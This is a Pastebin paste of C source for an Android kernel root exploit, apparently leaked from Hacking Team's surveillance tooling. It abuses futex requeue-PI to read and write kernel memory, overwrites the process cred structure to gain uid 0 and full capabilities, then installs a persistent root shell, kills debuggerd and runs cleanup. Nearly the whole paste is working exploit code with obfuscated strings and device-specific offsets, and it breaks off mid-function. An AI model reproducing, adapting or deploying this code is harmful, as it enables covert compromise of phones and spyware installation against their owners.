Advertisement
Guest User

hackingteam selinux4_exploit.c

a guest
Jul 6th, 2015
1,105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 40.54 KB | None | 0 0
  1. #include <android/log.h>
  2. #include <unistd.h>
  3. #include <linux/futex.h>
  4. #include <pthread.h>
  5. #include <unistd.h>
  6. #include <sys/syscall.h>
  7. #include <sys/resource.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <errno.h>
  11. #include <sys/stat.h>
  12. #include <sys/system_properties.h>
  13. #include <sys/mount.h>
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <sys/uio.h>
  17. #include <limits.h>
  18. #include <fcntl.h>
  19. #include <getopt.h>
  20. #include <stdint.h>
  21. #include <pwd.h>
  22. #include <arpa/inet.h>
  23. #include <sys/mman.h>
  24.  
  25. #include "log.h"
  26. #include "shell_params.h"
  27. #include "deobfuscate.h"
  28. #include "utils.h"
  29. #include "boot_manager.h"
  30. #include "ps.h"
  31. #include "waiter_exploit.h"
  32. #include "shell_installer.h"
  33.  
  34. struct mmsghdr {
  35.   struct msghdr msg_hdr;
  36.   unsigned int  msg_len;
  37. };
  38.  
  39. #ifndef FUTEX_WAIT_REQUEUE_PI
  40. #define FUTEX_WAIT_REQUEUE_PI   11
  41. #endif
  42.  
  43. #ifndef FUTEX_CMP_REQUEUE_PI
  44. #define FUTEX_CMP_REQUEUE_PI   12
  45. #endif
  46.  
  47. #define UNUSED                  0
  48.  
  49. #define ERROR         0
  50. #define ROOT_SUCCESS  1
  51. #define FIX_SUCCESS   2
  52. #define ALL_DONE      3
  53.  
  54. #define KERNEL_START  0xc0000000
  55.  
  56. unsigned char ptmx[] = "\x83\x0c\x86\xb4\xff\xfe\x0d\xb4\xf3\x0f\xf6\x0b"; // "/dev/ptmx"
  57. unsigned char system_str[] = "\xdf\x2e\xf6\x30\xf4\xfa\xf4\xf7\xc6\xce"; // "/system"
  58. unsigned long addr, hacked_node, hacked_node_alt;
  59. int PORT = 58222;
  60.  
  61. int HACKS_fdm = 0;
  62. pid_t waiter_thread_tid;
  63. pthread_mutex_t done_lock;
  64. pthread_mutex_t done_kill_lock;
  65. pthread_mutex_t thread_returned_lock;
  66. pthread_cond_t done;
  67. pthread_cond_t done_kill;
  68. pthread_cond_t thread_returned;
  69. pthread_mutex_t is_thread_desched_lock;
  70. pthread_cond_t is_thread_desched;
  71. pthread_mutex_t is_thread_awake_lock;
  72. pthread_cond_t is_thread_awake;
  73. int lock1 = 0;
  74. int lock2 = 0;
  75. pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0;
  76. pthread_mutex_t *is_kernel_writing;
  77. int pipe_fd[2];
  78. int sockfd;
  79. pid_t tid_12 = 0;
  80. pid_t tid_11 = 0;
  81. unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter;
  82. unsigned long t11;
  83. unsigned long lock;
  84. char shell_server[256];
  85. int loop_limit = 10;
  86. pid_t remove_pid[1024];
  87. unsigned long remove_waiter[1024];
  88. int remove_counter = 0;
  89. char rcs[512];
  90.  
  91. struct device_config {
  92.   int is_samsung;
  93.   int iovstack;
  94.   int offset;
  95.   int force_remove;
  96. };
  97.  
  98. struct device_config goldfish_kernel = { 0, 6, 0, 0};
  99. struct device_config default_kernel = { 0, 2, 0, 0};
  100. struct device_config samsung_kernel = { 1, 2, 0x1cd4, 1};
  101. struct device_config samsung_old_kernel = { 0, 1, 0, 1 };
  102. struct device_config sam_grand_kernel = { 0, 5, 0, 1 };
  103. struct device_config test_kernel = { 0, 4, 0, 1 };
  104. struct device_config *current_cfg = NULL;
  105.  
  106. const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
  107. const char str_1[] = {1, 0, 0, 0, 0};
  108.  
  109. void reset_hacked_list(unsigned long hacked_node);
  110.  
  111. /*********************/
  112. /*** PIPE STUFF ******/
  113. /*********************/
  114.  
  115.  
  116. // Pipe server
  117. static int start_pipe_server() {
  118.   int  nbytes,msg;
  119.   int done_root = 0;
  120.  
  121.   /* Parent process closes up output side of pipe */
  122.   close(pipe_fd[1]);
  123.   LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());
  124.  
  125.   while(1) {
  126.     /* Read in a message from the exploiting process */
  127.     nbytes = read(pipe_fd[0], &msg, sizeof(msg));
  128.     if(nbytes <= 0) exit(0);
  129.     if(msg == ROOT_SUCCESS) {
  130.       LOGD("[CONTROLLER] Exploit succeded\n");
  131.       done_root = 1;
  132.     }
  133.     if(msg == FIX_SUCCESS) {
  134.       LOGD("[CONTROLLER] Fix succeded\n");    
  135.     }
  136.     if(msg == ALL_DONE) {
  137.       LOGD("[CONTROLLER] Exploit completed\n");
  138.       if(done_root)
  139.     return 1;
  140.     }
  141.     if(msg == ERROR) {
  142.       if(done_root) {
  143.     LOGD("[CONTROLLER] Error but exploit succeded\n");
  144.     return 1;
  145.       }
  146.       else {
  147.     LOGD("[CONTROLLER] Error received\n");
  148.     return 0;
  149.       }
  150.     }
  151.   }
  152. }
  153.  
  154. // Send a message to the controller
  155. static void send_pipe_msg(int msg) {
  156.   int msg_to_send;
  157.  
  158.   msg_to_send = msg;
  159.   write(pipe_fd[1], &msg, sizeof(msg));
  160. }
  161.  
  162. // Read kernel space using pipe
  163. ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
  164.   int pipefd[2];
  165.   ssize_t len;
  166.  
  167.   pipe(pipefd);
  168.  
  169.   len = write(pipefd[1], writebuf, count);
  170.  
  171.   if (len != count) {
  172.     LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
  173.     return -1;
  174.   }
  175.  
  176.   read(pipefd[0], readbuf, count);
  177.   LOGD("[PIPE] Read %d bytes\n", count);
  178.  
  179.   close(pipefd[0]);
  180.   close(pipefd[1]);
  181.  
  182.   return len;
  183. }
  184.  
  185. // Write in kernel space using pipe
  186. ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
  187.   int pipefd[2];
  188.   ssize_t len;
  189.   int ret = 0;
  190.  
  191.   pipe(pipefd);
  192.   ret = write(pipefd[1], writebuf, count);
  193.   len = read(pipefd[0], readbuf, count);
  194.   if (len != count) {
  195.     LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
  196.     return -1;
  197.   }
  198.   else
  199.     LOGD("[PIPE] Written %d bytes\n", (int)len);
  200.  
  201.   close(pipefd[0]);
  202.   close(pipefd[1]);
  203.  
  204.   return len;
  205. }
  206.  
  207.  
  208.  
  209. /*********************/
  210. /**** SOCKET STUFF ***/
  211. /*********************/
  212.  
  213. void *accept_socket(void *arg) {
  214.   int yes;
  215.   struct sockaddr_in addr = {0};
  216.   int ret;
  217.   int sock_buf_size;
  218.   socklen_t optlen;
  219.  
  220.   sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  221.   if(sockfd < 0) {
  222.     LOGD("[ACCEPT SOCKET] Socket creation failed\n");
  223.     send_pipe_msg(ERROR);
  224.     exit(-1);
  225.   }
  226.  
  227.   yes = 1;
  228.   setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
  229.  
  230.   // We need set the socket kernel buffer as smaller as possible.
  231.   // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
  232.  
  233.   sock_buf_size = 1;
  234.   setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
  235.  
  236.   addr.sin_family = AF_INET;
  237.   addr.sin_port = htons(PORT);
  238.   addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  239.  
  240.   if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
  241.     LOGD("[ACCEPT SOCKET] Socket bind failed\n");
  242.     send_pipe_msg(ERROR);
  243.     exit(-1);
  244.   }
  245.  
  246.   if(listen(sockfd, 1) < 0) {
  247.     LOGD("[ACCEPT SOCKET] Socket listen failed\n");
  248.     send_pipe_msg(ERROR);
  249.     exit(-1);
  250.   }
  251.  
  252.   while(1) {
  253.     ret = accept(sockfd, NULL, NULL);
  254.     if (ret < 0) {
  255.       LOGD("[ACCEPT SOCKET] Socket accepr failed\n");
  256.       send_pipe_msg(ERROR);
  257.       exit(-1);
  258.     } else {
  259.       LOGD("[ACCEPT SOCKET] Client accepted!\n");
  260.     }
  261.   }
  262.  
  263.   return NULL;
  264. }
  265.  
  266.  
  267. int make_socket() {
  268.   int sockfd;
  269.   struct sockaddr_in addr = {0};
  270.   int ret;
  271.   int sock_buf_size;
  272.   socklen_t optlen;
  273.  
  274.   sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  275.   if (sockfd < 0) {
  276.     LOGD("[MAKE SOCKET] socket failed.\n");
  277.     send_pipe_msg(ERROR);
  278.     exit(-1);
  279.   } else {
  280.     addr.sin_family = AF_INET;
  281.     addr.sin_port = htons(PORT);
  282.     addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  283.   }
  284.  
  285.   while (1) {
  286.     ret = connect(sockfd, (struct sockaddr *)&addr, 16);
  287.     if (ret >= 0) {
  288.       break;
  289.     }
  290.     usleep(10);
  291.   }
  292.  
  293.   // We need set the socket kernel buffer as smaller as possible
  294.   // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall
  295.  
  296.   sock_buf_size = 1;
  297.   setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
  298.  
  299.   return sockfd;
  300. }
  301.  
  302.  
  303. /*************************/
  304. /**** KERNEL STUFF *******/
  305. /*************************/  
  306. void stop_for_error() {
  307.   LOGD("[ERROR] Sleeping for error");
  308.   send_pipe_msg(ERROR);
  309.   while(1)
  310.     sleep(10);
  311. }
  312.  
  313. // Remove a pending waiter
  314. void remove_remaining_waiter(int index) {
  315.   unsigned long addr;
  316.   unsigned long val[4];
  317.  
  318.  
  319.   LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]);
  320.  
  321.   addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  322.  
  323.   reset_hacked_list(0xbeffe0);
  324.  
  325.   // Create a correct next and previous waiter
  326.  
  327.   *((unsigned long *)0xbf0004) = remove_waiter[index];      // (entry->next)->prev
  328.   *((unsigned long *)0xbeffe0) = remove_waiter[index];      // (entry->prev)->next
  329.   *((unsigned long *)0xbf000c) = (remove_waiter[index]+8);  // (entry->node_next)->node_prev
  330.   *((unsigned long *)0xbeffe8) = (remove_waiter[index]+8);  // (entry->node_prev)->node_next
  331.  
  332.   val[0] = 0xbf0000;
  333.   val[1] = 0xbeffe0;
  334.   val[2] = 0xbf0008;
  335.   val[3] = 0xbeffe8;
  336.   write_pipe((void *)(remove_waiter[index]), &val, 16);
  337.  
  338.   // Now we can kill the waiter safely
  339.  
  340.   pthread_mutex_lock(&is_thread_awake_lock);
  341.   kill(remove_pid[index], 14);
  342.   pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  343.   pthread_mutex_unlock(&is_thread_awake_lock);
  344.  
  345.   munmap((unsigned long *)0xbef000, 0x2000);
  346.  
  347. }
  348.  
  349. // Fix the kernel waiter list
  350. int fix_kernel_waiter_list(unsigned int head) {
  351.  
  352.   unsigned int val, val2, val3, list, prio6, prio3;
  353.   int i, err = 0, ret = 0;
  354.   unsigned long w[4];
  355.   unsigned int as[12];
  356.  
  357.   LOGD("[FIXER] prio 6 at %x\n", head);
  358.  
  359.   list = head + 4;
  360.  
  361.   // Save the prio6 waiter
  362.   read_pipe((void *) list, &prio6, 4);
  363.  
  364.   // Save the prio3 waiter
  365.   read_pipe((void *) (list+4), &prio3, 4);
  366.  
  367.   // Fix prio3
  368.   ret = write_pipe((void *) (prio3+4), &t11, 4);    // prio_list->prev  
  369.   if(ret == -1)
  370.   err = 1;
  371.  
  372.   #ifdef DEBUG
  373.   ////////////////  Just debug  //////////////////////////////
  374.   read_pipe((void *) (list-4), &as, 48);
  375.   LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n",
  376.      as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  377.   //////////////////////////////////////////////
  378.   #endif
  379.  
  380.  
  381.   // Find the first waiter before the hacked waiter. We need to fix it
  382.   for(i = 0; i < 2; i++) {
  383.     read_pipe((void *) list, &val, 4);
  384.     list = val;
  385.     if(i == 0) {
  386.       // At the beginning we need to save the lock pointer
  387.       read_pipe((void *) (list + 40), &lock, 4);
  388.  
  389.       #ifdef DEBUG
  390.       ////////////////  Just debug  //////////////////////////////
  391.       read_pipe((void *) (list-4), &as, 48);
  392.       LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n",
  393.          as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  394.       //////////////////////////////////////////////
  395.       #endif
  396.  
  397.     }
  398.   }
  399.  
  400.  
  401.   // Adjust the lock->next pointer
  402.   LOGD("[FIXER] Looking for the lock next offset address\n");
  403.   if(lock) {
  404.     for(i = 0; i < 5; i++) {
  405.       read_pipe((void *) (lock + (i * 4)), &val3, 4);
  406.       if(val3 == (prio3 + 8)) {
  407.     LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4));
  408.     lock = lock + (i * 4);
  409.       }
  410.     }  
  411.   }
  412.  
  413.   // Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter
  414.   val2 = t11 + 8;
  415.   ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev      
  416.   if(ret == -1)
  417.     err = 1;
  418.  
  419.   // Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter
  420.   val2 = t11+8;
  421.   ret = write_pipe((void *) (list), &t11, 4);       // prio_list->next
  422.   if(ret == -1)
  423.     err = 1;
  424.  
  425.   ret = write_pipe((void *) (list + 8), &val2, 4);  // node_list->next
  426.   if(ret == -1)
  427.     err = 1;
  428.  
  429.  
  430.   // Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter    
  431.   w[0] = prio3;     // prio_list->next
  432.   w[1] = list;      // prio_list->prev
  433.   w[2] = lock;      // node_list->next
  434.   w[3] = list + 8;  // node_list->prev
  435.  
  436.   ret = write_pipe((void *) t11, &w, 16);
  437.   if(ret == -1)
  438.     err = 1;
  439.  
  440.   LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock);
  441.   LOGD("[FIXER] All done!\n");
  442.  
  443.   #ifdef DEBUG
  444.   ///////////////////////////// DEBUG ////////////////////////////7
  445.   read_pipe((void *) (prio3-4), &as, 48);
  446.   LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4),
  447.      as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  448.  
  449.   read_pipe((void *) (head), &as, 48);
  450.   LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head),
  451.      as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  452.  
  453.   read_pipe((void *) (prio6-4), &as, 48);
  454.   LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4),
  455.      as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  456.  
  457.   read_pipe((void *) (list - 4), &as, 48);
  458.   LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4),
  459.      as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  460.  
  461.   read_pipe((void *) (t11-4), &as, 48);
  462.   LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4),
  463.      as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  464.  
  465.   read_pipe((void *) (lock), &as, 16);
  466.   LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]);
  467.   //////////////////////////////////////////////
  468.   #endif
  469.  
  470.   sleep(1);
  471.  
  472.   return err;
  473.  
  474. }
  475.  
  476.  
  477.  
  478. // Hack in the kernel
  479. void hack_the_kernel(int signum) {
  480.   char *slavename;
  481.   int pipefd[2];
  482.   char readbuf[0x100];
  483.   unsigned long thread_info_dump[4];
  484.   unsigned long task_struct_dump[0x200];
  485.   unsigned long cred_struct_dump[0x40];
  486.   unsigned long cred_struct_dump_orig[0x40];
  487.   unsigned long group_info_struct_dump[6];
  488.   unsigned long group_info_struct_dump_orig[6];
  489.   pid_t pid;
  490.   int i, ret;
  491.   unsigned long val1, val2;
  492.   int err = 0;
  493.  
  494.   leaker_pid = gettid();
  495.  
  496.   pthread_mutex_lock(&is_thread_awake_lock);
  497.   pthread_cond_signal(&is_thread_awake);
  498.   pthread_mutex_unlock(&is_thread_awake_lock);
  499.  
  500.   // Check if we are the first or the second evil thread
  501.   if (final_kstack_base == 0) {
  502.     LOGD("[FIRST KERNEL HACK] First evil thread started\n");
  503.  
  504.     pthread_mutex_lock(is_kernel_writing);
  505.     // We need to use a pipe... Open a pts device to use it
  506.  
  507.     HACKS_fdm = open(deobfuscate(ptmx), O_RDWR);
  508.     unlockpt(HACKS_fdm);
  509.     slavename = ptsname(HACKS_fdm);
  510.  
  511.     open(slavename, O_RDWR);
  512.     LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n");
  513.    
  514.     if(current_cfg->is_samsung) {
  515.       pipe(pipefd);
  516.       syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);
  517.  
  518.     }
  519.     else {
  520.       read(HACKS_fdm, readbuf, 0x100);
  521.     }
  522.  
  523.     // Here the TRIGGER told us to continue the dirty job
  524.     // Update the thread_info struct of the second evil thread using the pipe.
  525.    
  526.     write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4);
  527.  
  528.     LOGD("[FIRST KERNEL HACK] All Done!\n");
  529.  
  530.     // Tell the second thread that now can continue
  531.     pthread_mutex_unlock(is_kernel_writing);
  532.  
  533.     // Add a waiter at the beginning of the list so we can leak it
  534.     LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n");
  535.     setpriority(PRIO_PROCESS, 0, 4);
  536.     LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid());
  537.  
  538.     syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  539.  
  540.     // If we are here the stack modifier has been killed
  541.  
  542.     LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid());
  543.  
  544.     // Tell to the second evil thread that it can fix the waiter list now
  545.     pthread_mutex_lock(&done_kill_lock);
  546.     pthread_cond_signal(&done_kill);
  547.     pthread_mutex_unlock(&done_kill_lock);
  548.    
  549.     sleep(5);
  550.     return;
  551.  
  552.   }
  553.  
  554.   //////////////////////////////////////////
  555.   // From here we are the second evil thread
  556.   LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n");
  557.   pthread_mutex_lock(is_kernel_writing);
  558.  
  559.   sleep(2);
  560.  
  561.   LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
  562.   read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
  563.   read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
  564.  
  565.   LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]);
  566.  
  567.   val1 = 0;
  568.   val2 = 0;
  569.   pid = 0;
  570.  
  571.   LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n");
  572.   // Parse the task_struct dump in order to find the cred struct pointer
  573.   // If we have four succesive kernel pointer -> we have the cred struct
  574.   for (i = 0; i < 0x200; i++) {
  575.     if (task_struct_dump[i] == task_struct_dump[i + 1]) {
  576.       if (task_struct_dump[i] > 0xc0000000) {
  577.     if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
  578.       if (task_struct_dump[i + 2] > 0xc0000000) {
  579.         if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
  580.           if (task_struct_dump[i + 4] > 0xc0000000) {
  581.         if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
  582.           if (task_struct_dump[i + 6] > 0xc0000000) {
  583.             val1 = task_struct_dump[i + 7]; // Found offset for the cred struct
  584.             LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7));
  585.             break;
  586.           }
  587.         }
  588.           }
  589.         }
  590.       }
  591.     }
  592.       }
  593.     }
  594.   }
  595.  
  596.   if(!val1) {
  597.     LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n");
  598.     stop_for_error();
  599.   }
  600.  
  601.   LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n");
  602.   // Update the cred struct
  603.   read_pipe((void *)val1, cred_struct_dump, 0x100);
  604.   memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct
  605.  
  606.   val2 = cred_struct_dump[0x16]; // group_info struct
  607.   if (val2 > 0xc0000000) {
  608.     if (val2 < 0xffff0000) {
  609.       read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump
  610.       memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18);
  611.       if (group_info_struct_dump[0] != 0) {
  612.     if (group_info_struct_dump[1] != 0) {
  613.       if (group_info_struct_dump[2] == 0) {
  614.         if (group_info_struct_dump[3] == 0) {
  615.           if (group_info_struct_dump[4] == 0) {
  616.         if (group_info_struct_dump[5] == 0) {
  617.           group_info_struct_dump[0] = 1; // atomic_t usage
  618.           group_info_struct_dump[1] = 1; // int ngroups
  619.  
  620.           // Update the group_info struct in the kernel
  621.           LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n");
  622.           write_pipe((void *)val2, group_info_struct_dump, 0x18);
  623.         }
  624.           }
  625.         }
  626.       }
  627.     }
  628.       }
  629.     }
  630.   }
  631.  
  632.   // Update the cred struct
  633.   cred_struct_dump[1] = 0;             // uid
  634.   cred_struct_dump[2] = 0;             // gid
  635.   cred_struct_dump[3] = 0;             // suid
  636.   cred_struct_dump[4] = 0;             // sgid
  637.   cred_struct_dump[5] = 0;             // euid
  638.   cred_struct_dump[6] = 0;             // egid
  639.   cred_struct_dump[7] = 0;             // fsuid
  640.   cred_struct_dump[8] = 0;             // fsgid
  641.  
  642.   cred_struct_dump[10] = 0xffffffff;   // cap_inheritable
  643.   cred_struct_dump[11] = 0xffffffff;   // cap_permitted
  644.   cred_struct_dump[12] = 0xffffffff;   // cap_effective
  645.   cred_struct_dump[13] = 0xffffffff;   // cap_bset
  646.   cred_struct_dump[14] = 0xffffffff;   // jit_keyring
  647.   cred_struct_dump[15] = 0xffffffff;   // *session_keyring
  648.   cred_struct_dump[16] = 0xffffffff;   // *process_keyring
  649.   cred_struct_dump[17] = 0xffffffff;   // *thread_keyring;
  650.  
  651.  
  652.   LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n");
  653.  
  654.   // Update the cred struct in the kernel
  655.   write_pipe((void *)val1, cred_struct_dump, 0x48);
  656.  
  657.   sleep(2);
  658.  
  659.   pid = syscall(__NR_gettid);
  660.  
  661.   // Update the pid
  662.   LOGD("[SECOND KERNEL HACK] Looking for PID..\n");
  663.   i = 0;
  664.   while (1) {
  665.     if (task_struct_dump[i] == pid) {
  666.       LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n");
  667.  
  668.       write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4);
  669.  
  670.       if (getuid() != 0) {
  671.         LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n");
  672.     send_pipe_msg(ERROR);
  673.       } else {
  674.     LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n");
  675.  
  676.     //////////// ROOT CODE HERE /////////////////
  677.  
  678.     // Fork and install the root shell
  679.     if(fork() == 0) {
  680. /// REMOTE and LIB: extract all and install the shell
  681. #ifndef LOCAL    
  682.       if(rcs[0])
  683.         extract_shell_files(rcs);
  684.       else
  685.         extract_shell_files(NULL);
  686.       install_shell(NULL);
  687. /// LOCAL: just install the shell
  688. #else
  689.       install_shell(shell_server);
  690. #endif   
  691.       kill_debuggerd();
  692.       sleep(3);
  693. #ifndef LOCAL
  694.       cleanup();
  695. #endif   
  696.       exit(0);
  697.     }
  698.  
  699.     //////////////////////////////////////////////
  700.     sleep(3);
  701.     close(sockfd);
  702.     send_pipe_msg(ROOT_SUCCESS);
  703.     break;
  704.       }
  705.     }
  706.     i++;
  707.   }
  708.  
  709.   // Fix cred_struct and group_info_struct with originals
  710.   //sleep(3); // be sure nothing is happening before to fix
  711.   LOGD("[SECOND KERNEL HACK] Fixing cred struct\n");
  712.   write_pipe((void *)val1, cred_struct_dump_orig, 0x48);
  713.   sleep(2);
  714.   LOGD("[SECOND KERNEL HACK] Fixing group info\n");
  715.   write_pipe((void *)val2, group_info_struct_dump_orig, 0x18);
  716.   sleep(2);
  717.  
  718.   // To fix the waiter list we need to know where is the beginning of the list (we hacked it).
  719.   // To do that we use the leaker thread that has a waiter with prio 3
  720.  
  721.   LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base);
  722.   LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
  723.   read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
  724.   read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
  725.  
  726.   LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]);
  727.  
  728.   int k = 0;
  729.   val1 = 0;
  730.   val2 = 0;
  731.   pid = 0;
  732.  
  733.   // Find the waiter in the task struct. We know is a bit after the cred_struct
  734.  
  735.   LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n");
  736.   // Parse the task_struct dump in order to find the cred struct pointer
  737.   // If we have four succesive kernel pointer -> we have the cred struct
  738.   for (i = 0; i < 0x200; i++) {
  739.     if (task_struct_dump[i] == task_struct_dump[i + 1]) {
  740.       if (task_struct_dump[i] > 0xc0000000) {
  741.     if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
  742.       if (task_struct_dump[i + 2] > 0xc0000000) {
  743.         if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
  744.           if (task_struct_dump[i + 4] > 0xc0000000) {
  745.         if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
  746.           if (task_struct_dump[i + 6] > 0xc0000000) {
  747.             LOGD("[SECOND KERNEL HACK] We are at cred\n");
  748.             // We need to find the waiter in the task_struct
  749.             for(k = 0; k<100; k++) {
  750.               if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) {
  751.             read_pipe((void *) task_struct_dump[k + i], &val1, 4);
  752.             // Check a pointer pointing to 0x7b (123 = prio 3)
  753.             //if(val1 == 0x7b) {
  754.             if(val1 == 0x7c) {
  755.               target_waiter = (unsigned int) task_struct_dump[k + i];
  756.               LOGD("Found target_waiter %x\n", (unsigned int) target_waiter);
  757.               sleep(2);
  758.               break;
  759.             }
  760.               }          
  761.             }
  762.             break;
  763.           }
  764.         }
  765.           }
  766.         }
  767.       }
  768.     }
  769.       }
  770.     }
  771.   }  
  772.  
  773.   if(!target_waiter)
  774.     stop_for_error();
  775.  
  776.   // Get the next node, so the prio 6 node
  777.   LOGD("[SECOND KERNEL HACK] Waiting the thread\n");
  778.  
  779.   pthread_mutex_lock(&done_kill_lock);
  780.  
  781.   // Ok now we need to remove
  782.   int h;
  783.   for(h = 0; h < remove_counter; h++)
  784.     remove_remaining_waiter(h);
  785.  
  786.   if(fix_kernel_waiter_list(target_waiter) == 0)
  787.     send_pipe_msg(FIX_SUCCESS);
  788.   else
  789.     stop_for_error();
  790.  
  791.  
  792.   LOGD("[SECOND KERNEL HACK] Waiter list fixed\n");
  793.  
  794.   // Kill the stack modifier
  795.   kill(stack_modifier_tid,14);
  796.    
  797.   // Wait for the prio 4 node going out
  798.   pthread_cond_wait(&done_kill, &done_kill_lock);
  799.  
  800.   LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n");
  801.  
  802.   // We fixed everything, so we can leave now
  803.   pthread_exit(NULL);
  804.  
  805. }
  806.  
  807.  
  808. /***************************/
  809. /**** THREAD FOR WAITERS ***/
  810. /***************************/
  811.  
  812. void thread_killer(int signum) {
  813.  
  814.   LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid());
  815.  
  816.   pthread_mutex_lock(&is_thread_awake_lock);
  817.   pthread_cond_signal(&is_thread_awake);
  818.   pthread_mutex_unlock(&is_thread_awake_lock);
  819.  
  820.   pthread_exit(NULL);
  821.  
  822. }
  823.  
  824.  
  825. // Add a new waiter in the list with a specific prio.
  826. void *make_action_adding_waiter(void *arg) {
  827.   int prio;
  828.   struct sigaction act;
  829.   struct sigaction act3;
  830.   int ret;
  831.  
  832.   prio = (int)arg;
  833.   last_tid = syscall(__NR_gettid);
  834.  
  835.   pthread_mutex_lock(&is_thread_desched_lock);
  836.   pthread_cond_signal(&is_thread_desched);
  837.  
  838.   // Handler to hack in the kernel.
